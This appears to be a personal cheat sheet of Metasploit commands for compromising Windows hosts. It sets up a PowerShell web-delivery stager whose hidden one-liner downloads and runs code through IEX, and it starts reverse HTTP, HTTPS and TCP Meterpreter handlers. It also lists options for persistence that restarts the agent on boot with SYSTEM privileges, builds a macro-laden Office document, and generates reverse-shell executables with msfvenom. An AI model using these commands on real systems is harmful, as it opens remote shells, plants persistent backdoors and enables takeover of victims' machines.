Background handler

ExitOnSession : the handler will not exit if the meterpreter dies.

Meterpreter Webdelivery

Set up a Powershell web delivery listening on port 8080.

use exploit/multi/script/web_delivery
set TARGET 2
set payload windows/x64/meterpreter/reverse_http
set LPORT 4444
powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('');

Get System

Persistence Startup


-A        Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt>  Location in target host to write payload to, if none %TEMP% will be used.
-P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.
-S        Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt>  Alternate executable template to use
-U        Automatically start the agent when the User logs on
-X        Automatically start the agent when the system boots
-h        This help menu
-i <opt>  The interval in seconds between each connection attempt
-p <opt>  The port on which the system running Metasploit is listening
-r <opt>  The IP of the system running Metasploit listening for the connect back

Scripting Metasploit

Using a .rc file, write the commands to execute, then run msfconsole -r ./file.rc. Here is a simple example to script the deployment of a handler an create an Office doc with macro.

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LPORT 4646
set ExitOnSession false
exploit -j -z

use exploit/multi/fileformat/office_word_macro 
set PAYLOAD windows/meterpreter/reverse_https
set LPORT 4646

Multiple transports

msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe

Then, in AddTransports.ps1

Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30
Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30
